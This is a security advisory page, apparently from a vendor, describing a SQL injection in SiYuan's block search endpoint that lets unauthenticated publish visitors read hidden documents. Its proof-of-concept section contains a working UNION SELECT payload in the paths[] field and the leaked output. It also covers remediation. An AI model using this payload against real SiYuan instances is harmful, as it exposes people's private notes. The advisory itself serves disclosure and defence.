Your RSA-2048 keys break in 2030. Find every one of them before attackers do.
🐹
🐹 Go
Not in CISA KEV
HIGH severity

GHSA-h89q-4j2h-7h88

HIGHFix: siyuan-note/siyuan@57bcad4

GHSA-h89q-4j2h-7h88 is a high-severity (CVSS 7.5) SQL Injection vulnerability in github.com/siyuan-note/siyuan/kernel. O3 Security confirms whether GHSA-h89q-4j2h-7h88 is actually reachable in your code before you act, and blocks exploitation at runtime until you patch.

SiYuan: SQL Query in Block Search Exposes Hidden Published Document Content

Also known asCVE-2026-59834
Published
Sep 2, 2026
Updated
Sep 2, 2026
Affected
1 pkg
Patched
1 / 1
Exploits
None indexed
Exploitation data as of Sep 2, 2026 · OSV.dev, NVD, FIRST.org (EPSS)

Real-World Exposure

1 pkg affected
🐹github.com/siyuan-note/siyuan/kernel

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects Go packages — download data is not available via public APIs for these ecosystems.

Description

Summary

Siyuan's block search endpoint concatenates attacker-controlled paths[] values into SQL predicates used by non-SQL search modes. Through Siyuan's publish service, an unauthenticated visitor is forwarded to the kernel with a reader-role token and can reach POST /api/search/fullTextSearchBlock.

An attacker can inject a UNION SELECT through paths[] and return rows from hidden documents while projecting an allowed visible box and path. The post-query publish access filter trusts the projected box and path, so the injected hidden row is returned to the publish visitor.

Affected Code

The API blocks explicit SQL search mode for non-admin users, but allows other search methods to use caller-controlled paths:

if method == 2 && !model.IsAdminRoleContext(c) {
    ret.Code = -1
    ret.Msg = "SQL search requires administrator privileges"
    return
}

blocks, matchedBlockCount, matchedRootCount, pageCount, docMode := model.FullTextSearchBlock(query, boxes, paths, types, method, orderBy, groupBy, page, pageSize)
if model.IsReadOnlyRoleContext(c) {
    publishAccess := model.GetPublishAccess()
    blocks = model.FilterBlocksByPublishAccess(c, publishAccess, blocks)
}

Source: input/siyuan/kernel/api/search.go

paths[] is parsed into notebook IDs and paths without SQL escaping or validation:

path := p.(string)
box := strings.TrimSpace(strings.Split(path, "/")[0])
if "" != box {
    boxes = append(boxes, box)
}
path = strings.TrimSpace(strings.TrimPrefix(path, box))
if "" != path {
    paths = append(paths, path)
}

Source: input/siyuan/kernel/api/search.go

Those values are then concatenated directly into SQL:

builder.WriteString(fmt.Sprintf("box = '%s'", box))
builder.WriteString(fmt.Sprintf("path LIKE '%s%%'", path))

Source: input/siyuan/kernel/model/search.go

Regexp search executes the resulting statement:

stmt := "SELECT * FROM `blocks` WHERE " + fieldFilter + " AND type IN " + typeFilter
stmt += boxFilter + pathFilter + ignoreFilter + " " + orderBy
blocks := sql.SelectBlocksRegex(stmt, regex, Conf.Search.Name, Conf.Search.Alias, Conf.Search.Memo, Conf.Search.IAL, page, pageSize)

Source: input/siyuan/kernel/model/search.go

The read-only publish filter runs after SQL execution and trusts the returned row's Box and Path:

for _, block := range blocks {
    passwordID, password := GetPathPasswordByPublishAccess(block.Box, block.Path, publishAccess)
    if CheckPathAccessableByPublishIgnore(block.Box, block.Path, publishIgnore) && (c == nil || password == "" || CheckPublishAuthCookie(c, passwordID, password)) {
        ret = append(ret, block)
    }
}

Source: input/siyuan/kernel/model/publish_access.go

Attack Scenario

  1. A Siyuan instance enables the publish service.
  2. At least one document is visible to publish visitors.
  3. At least one document is hidden from publish visitors.
  4. The attacker sends a crafted paths[] value to the publish service's /api/search/fullTextSearchBlock endpoint.
  5. The injected SQL selects content from the hidden document while projecting the visible document's box and path.
  6. Siyuan returns the hidden block because the post-query publish filter checks the projected visible path.

Proof of Concept

POST /api/search/fullTextSearchBlock HTTP/1.1
Host: <publish-service-host>
Content-Type: application/json

{
  "query": "SECRET-LIVE-SQLI-20260609",
  "method": 3,
  "page": 1,
  "pageSize": 10,
  "paths": [
    "VISIBLE_NOTEBOOK_ID/x%') UNION SELECT id,parent_id,root_id,hash,'VISIBLE_NOTEBOOK_ID','/VISIBLE_DOC.sy',hpath,name,alias,memo,tag,content,fcontent,markdown,length,type,subtype,ial,sort,created,updated FROM blocks WHERE path='/HIDDEN_DOC.sy' -- "
  ]
}

VISIBLE_NOTEBOOK_ID and /VISIBLE_DOC.sy must reference content that the publish visitor can access. /HIDDEN_DOC.sy is the hidden document to read.

Validation

Setup:

  • Started b3log/siyuan:latest with an isolated temporary workspace.
  • Created one notebook.
  • Created a visible document containing public apple marker.
  • Created a hidden document containing SECRET-LIVE-SQLI-20260609 apple marker.
  • Marked the hidden document invisible with POST /api/filetree/setPublishAccess.
  • Enabled publish mode with POST /api/setting/setPublish.
  • Sent all exploit traffic through the publish service, which forwards requests with a reader-role token.

Control request through the publish service for the hidden marker returned no blocks:

{
  "code": 0,
  "msg": "",
  "data": {
    "blocks": [],
    "docMode": false,
    "matchedBlockCount": 1,
    "matchedRootCount": 1,
    "pageCount": 1
  }
}

The injected request through the publish service returned the hidden block:

{
  "code": 0,
  "msg": "",
  "data": {
    "blocks": [
      {
        "box": "20260609095146-19hud1e",
        "path": "/20260609095209-1ljs6o7.sy",
        "hPath": "/HiddenDoc",
        "id": "20260609095209-gttlrue",
        "rootID": "20260609095209-yaz7i3h",
        "parentID": "20260609095209-yaz7i3h",
        "content": "<mark>SECRET-LIVE-SQLI-20260609</mark> apple marker",
        "markdown": "SECRET-LIVE-SQLI-20260609 apple marker",
        "type": "NodeParagraph"
      }
    ],
    "docMode": false,
    "matchedBlockCount": 0,
    "matchedRootCount": 0,
    "pageCount": 0
  }
}

The returned row contains content from the hidden document, but its projected box and path point to the visible document. That is why the publish access filter accepts it.

Impact

An unauthenticated publish visitor can read hidden document block content from the blocks table. This bypasses Siyuan's publish visibility controls and exposes private note content that is not available through normal published document or search requests.

Remediation

Build notebook and path predicates with bound SQL parameters instead of string concatenation. For example:

box = ?
path LIKE ?

Then pass the user-controlled notebook ID and path prefix as query arguments.

Additional hardening:

  • Validate notebook IDs before query construction.
  • Validate document paths against Siyuan's normalized .sy path format.
  • Apply publish visibility restrictions before or inside SQL execution, rather than relying only on post-query filtering of returned row projections.
  • Add regression tests for publish reader-role requests where paths[] contains SQL metacharacters such as ', ), UNION, and --.

Affected Packages

1 total 1 fixed
EcosystemPackageVulnerable rangeFix
🐹Gogithub.com/siyuan-note/siyuan/kernelall versions0.0.0-20260704035518-d0f0fe146fb0

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for github.com/siyuan-note/siyuan/kernel. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.

  2. Fix

    Update github.com/siyuan-note/siyuan/kernel to 0.0.0-20260704035518-d0f0fe146fb0 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-h89q-4j2h-7h88 is resolved across your whole dependency graph.

  3. Workarounds

    If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.

  4. How O3 protects you

    O3 pinpoints whether GHSA-h89q-4j2h-7h88 is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.

Tailored to GHSA-h89q-4j2h-7h88. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.

Frequently Asked Questions

## Summary Siyuan's block search endpoint concatenates attacker-controlled `paths[]` values into SQL predicates used by non-SQL search modes. Through Siyuan's publish service, an unauthenticated visitor is forwarded to the kernel with a reader-role token and can reach `POST /api/search/fullTextSearchBlock`. An attacker can inject a `UNION SELECT` through `paths[]` and return rows from hidden documents while projecting an allowed visible `box` and `path`. The post-query publish access filter trusts the projected `box` and `path`, so the injected hidden row is returned to the publish visitor.
O3 Security · Impact-Aware SCA

Is GHSA-h89q-4j2h-7h88 in your dependencies?

O3 detects GHSA-h89q-4j2h-7h88 across Go dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.

GHSA-h89q-4j2h-7h88: kernel SQL Injection… | O3 Security